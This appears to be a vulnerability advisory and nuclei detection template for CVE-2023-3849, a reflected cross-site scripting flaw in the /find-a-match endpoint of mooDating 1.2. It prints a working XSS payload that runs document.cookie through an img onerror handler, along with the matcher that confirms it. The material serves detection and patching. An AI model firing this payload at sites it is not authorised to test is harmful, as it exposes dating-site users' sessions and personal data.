mooDating 1.2 - Cross-site scripting

mediumseverity

6.1CVSS score

6%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

A vulnerability, which was classified as problematic, was found in mooSocial mooDating 1.2. Affected is an unknown function of the file /find-a-match of the component URL Handler. The manipulation leads to cross site scripting. It is possible to launch the attack remotely.

Impact

Unauthenticated attackers can inject malicious JavaScript through the URL in the find-a-match endpoint to steal dating platform user session cookies and access personal profile information.

Fix

Update mooSocial mooDating to a version newer than 1.2 that properly sanitizes and encodes URL parameters in the find-a-match component.

How to confirm it

Send: GET {{BaseURL}}/find-a-matchpksyk"><img%20src%3da%20onerror%3dalert(document.cookie)>s9a64?
Positive when: status_code == 404 and contains(content_type, "text/html") and contains(body, "><img src=a onerror=alert(document.cookie)>s9a64") && contains(body, "mooDating")

Run it with nuclei: nuclei -id CVE-2023-3849 -u <target>

The full check

id: CVE-2023-3849

info:
  name: mooDating 1.2 - Cross-site scripting
  author: r3Y3r53
  severity: medium
  description: |
    A vulnerability, which was classified as problematic, was found in mooSocial mooDating 1.2. Affected is an unknown function of the file /find-a-match of the component URL Handler. The manipulation leads to cross site scripting. It is possible to launch the attack remotely.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the URL in the find-a-match endpoint to steal dating platform user session cookies and access personal profile information.
  remediation: |
    Update mooSocial mooDating to a version newer than 1.2 that properly sanitizes and encodes URL parameters in the find-a-match component.
  reference:
    - https://packetstormsecurity.com/files/173691/mooDating-1.2-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3849
    - https://vuldb.com/?ctiid.235200
    - https://vuldb.com/?id.235200
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-3849
    cwe-id: CWE-79
    epss-score: 0.05955
    epss-percentile: 0.9334
    cpe: cpe:2.3:a:moosocial:moodating:1.2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: moosocial
    product: moodating
  tags: cve2023,cve,packetstorm,xss,unauth,moodating,moosocial,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/find-a-matchpksyk"><img%20src%3da%20onerror%3dalert(document.cookie)>s9a64?'

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 404'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "><img src=a onerror=alert(document.cookie)>s9a64") && contains(body, "mooDating")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from